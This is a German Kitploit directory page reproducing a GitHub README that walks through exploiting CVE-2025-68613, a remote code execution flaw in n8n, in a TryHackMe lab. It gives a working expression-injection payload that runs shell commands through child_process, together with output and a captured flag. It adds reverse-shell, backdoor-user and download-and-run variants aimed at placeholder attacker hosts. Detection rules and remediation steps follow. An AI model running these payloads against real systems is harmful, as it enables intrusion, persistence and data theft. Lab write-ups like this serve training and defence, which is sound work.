Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
n8n-cve-2025-68613-thm — Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2025-68613, einer kritischen RCE in der n8n Workflow-Automatisierung. Behandelt Expression Injection, Sandbox-Escape, Payload-Entwicklung und Erkennungsstrategien mithilfe eines TryHackMe-Labs. | Kitploit
Tools/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationCommand and ControlLernen & BildungIncident ResponsePayload-EntwicklungLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2025-68613, einer kritischen RCE in der n8n Workflow-Automatisierung. Behandelt Expression Injection, Sandbox-Escape, Payload-Entwicklung und Erkennungsstrategien mithilfe eines TryHackMe-Labs.

Repository anzeigen
12vor 8 MonatenNoch nicht geprüft

CVE-2025-68613 – Kritische RCE-Ausnutzung von n8n

Übersicht

Dieses Repository dokumentiert eine praktische Ausnutzung von CVE-2025-68613 (CVSS 9.9), einer kritischen Remote-Codeausführungs-Schwachstelle, die die n8n Workflow-Automatisierungsplattform (Versionen 0.211.0 bis 1.120.3) betrifft.

Diese Ausnutzung wurde ethisch in einer kontrollierten TryHackMe-Lab-Umgebung ausschließlich zu Bildungszwecken durchgeführt.


Zusammenfassung der Schwachstelle

FeldWert
CVE-IDCVE-2025-68613
CVSS-Score9.9 (Kritisch)
Veröffentlicht19. Dezember 2025
Betroffenes Produktn8n Workflow-Automatisierungsplattform
SchwachstellentypAusdrucks-Injektion → Sandbox-Escape → RCE
AngriffsvektorAuthentifizierter Benutzer (Standard)
Gepatchte Versionen1.120.4, 1.121.1, 1.122.0+
Betroffene Versionen0.211.0 - 1.120.3

Was ist n8n?

n8n ist eine quelloffene Workflow-Automatisierungsplattform, mit der Benutzer Anwendungen und Dienste visuell verbinden können, um Aufgaben zu automatisieren. Sie bietet:

  • Knotenbasierte Workflow-Architektur: Jeder Knoten repräsentiert eine Aktion (API-Anfrage, Datenverarbeitung, E-Mail usw.)
  • 400+ native Integrationen: Vorgefertigte Konnektoren zu verschiedenen APIs und Diensten
  • Code-Knoten: Ausführung von benutzerdefiniertem JavaScript- oder Python-Code
  • Ausdrucksauswertung: Dynamische Ausdrücke in {{ }} werden als JavaScript ausgewertet

Bereitstellungsmodelle

  • Selbst gehostete Instanzen (on-premises oder private Cloud)
  • Cloud-gehosteter (n8n.cloud) verwalteter Dienst
  • Interne Automatisierungswerkzeuge in Unternehmensnetzwerken

Technischer Hintergrund

Die Angriffskette

Die Schwachstelle liegt im Workflow-Ausdrucksauswertungssystem von n8n. Wenn authentifizierte Benutzer Workflows konfigurieren, werden ihre Eingaben als JavaScript-Code ohne angemessene Sandboxing verarbeitet.

Kontext-Eskalationskette

root@kitploit:~
Expression Sandbox
    ↓ (Escape via 'this')
Node.js Global Context
    ↓ (Zugriff auf mainModule)
Module System (require)
    ↓ (lade child_process)
Systembefehl-Ausführung

Hauptfehler

  1. Unsichere Ausdrucksauswertung: Benutzerausdrücke in {{ }} werden als rohes JavaScript ohne ordnungsgemäße Kontextisolierung ausgewertet
  2. Sandbox-Escape: Zugriff auf das this-Objekt ermöglicht das Entkommen aus den vorgesehenen Sandbox-Einschränkungen
  3. Uneingeschränkter Modulzugriff: process.mainModule.require() bietet Zugriff auf das Node.js-Modulsystem
  4. Gefährliches Modulladen: Kann das child_process-Modul zur Systembefehl-Ausführung laden
  5. Kein sinnvoller Authentifizierungsschutz: Jeder authentifizierte Benutzer kann die Schwachstelle ausnutzen

Exploit-Payload-Aufschlüsselung

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Erklärung:

  • this → Node.js global object
  • this.process → Node.js process object
  • process.mainModule → Root-Modul der n8n-Anwendung
  • .require('child_process') → Lade das Systembefehl-Ausführungsmodul
  • .execSync('COMMAND') → Führe Shell-Befehl synchron aus
  • .toString() → Konvertiere Buffersausgabe in lesbaren String

Ausnutzungs-Walkthrough

Schritt 1: Authentifizierung

Greife auf die anfällige n8n-Instanz zu und melde dich mit gültigen Anmeldedaten an.

Lab-Anmeldedaten:

  • E-Mail: [email protected]
  • Passwort: Try12345!

Anmeldebildschirm


Schritt 2: Willkommen & Workflow-Erstellung

Nach der Anmeldung wird die Workflow-Erstellungsoberfläche angezeigt. Klicke auf "Von Grund auf neu beginnen", um einen neuen Workflow zu starten.

Willkommensbildschirm


Schritt 3: Manuellen Trigger hinzufügen

Klicke auf "Ersten Schritt hinzufügen" und suche nach "Manual Trigger". Dieser Knoten dient als Einstiegspunkt für die Workflow-Ausführung.

Einrichtung des manuellen Triggers

Zweck: Der Manuelle-Trigger-Knoten ermöglicht die manuelle Ausführung des Workflows über die Schaltfläche "Workflow ausführen" in der Benutzeroberfläche, was ideal zum Testen ist.


Schritt 4: Workflow konfigurieren & Feldzuordnung hinzufügen

Füge einen "Edit Fields"-Knoten hinzu, um eine Feldzuordnung durchzuführen. Hier wird die Schwachstelle ausgenutzt.

Workflow-Konfiguration

Konfigurationsschritte:

  1. Klicke auf "Feld hinzufügen", um eine neue Feldzuordnung hinzuzufügen
  2. Setze den Modus auf "Expression"
  3. Dies ermöglicht die Auswertung von JavaScript-Code

Schritt 5: ID-Befehl ausführen

Injiziere die Payload, um den id-Befehl auszuführen und Benutzer-/Berechtigungsinformationen abzurufen.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Ergebnis:

root@kitploit:~
uid=1000(node) gid=1000(node) groups=1000(node)

Ausführung des ID-Befehls

Gesammelte Informationen:

  • Läuft als Nicht-Root-Benutzer (uid=1000)
  • Gruppenmitgliedschaften (gid=1000)
  • Mögliche Wege zur Privilegieneskalation

Schritt 6: Dateisystem mit LS auflisten

Passe die Payload an, um den ls-Befehl auszuführen und Verzeichnisinhalte aufzulisten.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Ausführung des LS-Befehls

Ausgabe zeigt:

  • Vorhandensein einer Flag-Datei: flag.txt
  • Verzeichnisstruktur und Dateiberechtigungen
  • Zusätzliche Aufklärungsdaten

Schritt 7: Sensitive Daten extrahieren

Lies die Flag-Datei mit dem cat-Befehl, um die Ausnutzung abzuschließen.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
}

**Abgerufene Flag:**

THM{n8n_exposed_workflow}

root@kitploit:~

![Flag-Extraktion](https://assets.kitploit.com/production/public/readmes/37299/724491b38e131fe984322265fd6c86d746f7565032091093ce5559f7e4f644eb.png)

---

## Fortgeschrittene Ausnutzungstechniken

### 1. Reverse Shell

Richte eine interaktive Shell für dauerhafte Kontrolle ein:

```javascript
(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ANGREIFER_IP/PORT 0>&1').toString() 
})()

2. Backdoor-Benutzer erstellen

Füge einen neuen Systembenutzer für dauerhaften Zugriff hinzu:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORT) backdoor').toString() 
})()

3. Bösartige Payload herunterladen

Hole und führe entfernten Code aus:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://angreifer.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Privilegieneskalations-Aufklärung

Überprüfe auf sudo-Berechtigungen:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. Umgebungsaufklärung

Extrahiere Umgebungsvariablen:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('env').toString() 
})()

Erkennungsstrategien

Web-Proxy-Protokollierung (Nginx)

Konfiguriere deinen Proxy, um Anfragekörper zur Analyse zu protokollieren:

root@kitploit:~
http {
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'Request-Body: "$request_body" '
                       'Duration: $request_time s';
    
    access_log /var/log/nginx/detailed_access.log detailed;
}

Sigma-Erkennungsregel

Erkenne Ausnutzungsversuche über Workflow-API-Anfragen:

root@kitploit:~
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
    category: web_application_firewall
detection:
    keywords:
        - "process.mainModule.require"
        - "child_process"
        - "execSync"
    condition: keywords
filter:
    field: uri_path
    value: "/rest/workflows"
    method: POST

Prozesserstellungsüberwachung

Überwache auf verdächtige von n8n erstellte Kindprozesse:

  • Achte auf unerwartetes child_process-Spawning
  • Überwache auf Reverse-Shell-Verbindungen (bash, nc)
  • Verfolge verdächtige Datei-Downloads/-Ausführungen
  • Alarmiere bei Privilegieneskalationsversuchen

Protokollorte

  • n8n-Protokolle: /root/.n8n/logs/
  • Systemprotokolle: /var/log/auth.log, /var/log/syslog
  • Workflow-Ausführungsprotokolle: n8n-Datenbank

Kompromittierungsindikatoren

  • Verdächtige JavaScript-Ausdrücke in Workflow-Feldern, die enthalten:
    • process.mainModule
    • require('child_process')
    • execSync oder spawn
  • Ungewöhnliche child_process-Ausführungen
  • Unerwartete Workflow-Änderungen
  • Fehlgeschlagene Anmeldeversuche, gefolgt von erfolgreichem Zugriff
  • Dateisystemänderungen in unerwarteten Verzeichnissen

Ausnutzungs-Zeitplan


Abhilfe & Prävention

Sofortmaßnahmen

  1. n8n aktualisieren auf gepatchte Versionen:

    • v1.120.4
    • v1.121.1
    • v1.122.0 oder später
  2. Netzwerkzugriff einschränken

    • Firewall-Regeln implementieren, um n8n-Zugriff zu limitieren
    • VPN oder Bastion-Hosts für Administrationszugriff verwenden
    • Externe Zugänglichkeit deaktivieren, falls nicht erforderlich
  3. Starke Authentifizierung

    • Starke Passwörter durchsetzen
    • Multi-Faktor-Authentifizierung (MFA) implementieren
    • SSO-Integration wo möglich nutzen
  4. Überwachung & Protokollierung

    • Detaillierte Protokollierung für alle n8n-Aktivitäten aktivieren
    • Workflow-Änderungen in Echtzeit überwachen
    • Alarme für verdächtige Ausdrücke einrichten

Langfristige Sicherheitsmaßnahmen

  1. Eingabevalidierung & -Bereinigung

    • Benutzereingaben niemals als Code auswerten
    • Ausdrucks-Whitelisting implementieren
    • Alle Workflow-Definitionen bereinigen
  2. Sandbox-Implementierung

    • Ausdrucksauswertung in eingeschränkter Sandbox isolieren
    • Zugriff auf Node.js-APIs limitieren
    • Virtuelle Maschinen oder Container zur Isolation verwenden
  3. Prinzip der geringsten Privilegien

    • n8n mit minimal erforderlichen Berechtigungen ausführen
    • Dateisystemzugriff einschränken
    • Netzwerkkonnektivität limitieren
  4. Code-Review & Sicherheitstests

    • Regelmäßige Sicherheitsaudits von benutzerdefinierten Knoten
    • SAST/DAST-Tools implementieren
    • Bedrohungsmodellierungsübungen durchführen

Referenzen

  • n8n Offizielle Dokumentation
  • n8n Sicherheitsrichtlinie
  • Node.js Child Process Module
  • OWASP Code Injection
  • CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
  • CVSS v3.1 Rechner

Laborinformationen

  • Plattform: TryHackMe
  • Raum: n8n: CVE-2025-68613
  • Raum-URL: https://tryhackme.com/room/n8ncve202568613
  • Schwierigkeit: Mittel bis Schwer
  • Lernziele: Expression Injection, Sandbox-Escapes, RCE, Erkennungsstrategien

Haftungsausschluss

Diese Dokumentation wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Die beschriebenen Ausnutzungstechniken sind bestimmt für:

  • Autorisierte Penetrationstests
  • Sicherheitsforschung in kontrollierten Umgebungen
  • TryHackMe-Lab-Übungen
  • Verständnis von Sicherheitsschwachstellen

Unbefugter Zugriff auf Computersysteme ist illegal. Holen Sie immer eine ordnungsgemäße schriftliche Genehmigung ein, bevor Sie Sicherheitstests durchführen.


Repository-Struktur

root@kitploit:~
.
├── README.md                    # Diese Datei
├── exploitation-details.md      # Technischer Deep-Dive-Leitfaden
├── screenshots/
│   ├── 01-login.png
│   ├── 02-Welcome.png
│   ├── 03-Manual_Trigger.png
│   ├── 04-Workflow-setup.png
│   ├── 05-rce_id.png
│   ├── 06-Change_id_ls.png
│   └── rce_cat_flag.png
└── notes/
    └── exploitation-details.md

Autorennotizen

Dieser Writeup dokumentiert die erfolgreiche Ausnutzung von CVE-2025-68613 in einer TryHackMe-Lab-Umgebung. Die Schwachstelle zeigt die kritische Bedeutung einer sicheren Codeauswertung und die Gefahren einer unzureichenden Sandbox-Implementierung in Automatisierungsplattformen.

Das Verständnis dieser Schwachstelle hilft sowohl Offensive-Security-Teams, ähnliche Probleme zu identifizieren, als auch Defensive-Teams, effektivere Erkennungsstrategien zu entwickeln.

Tool herunterladen
SchrittAktionZeit
1Zugriff auf n8n-InstanzSekunden
2Workflow erstellen/ändern< 1 Minute
3Feldzuordnungsknoten hinzufügen< 1 Minute
4id-Befehl injizieren und ausführen< 30 Sekunden
5Dateisystem mit ls auflisten< 1 Minute
6Daten mit cat extrahieren< 30 Sekunden
GesamtVollständige RCE-Ausnutzung< 5 Minuten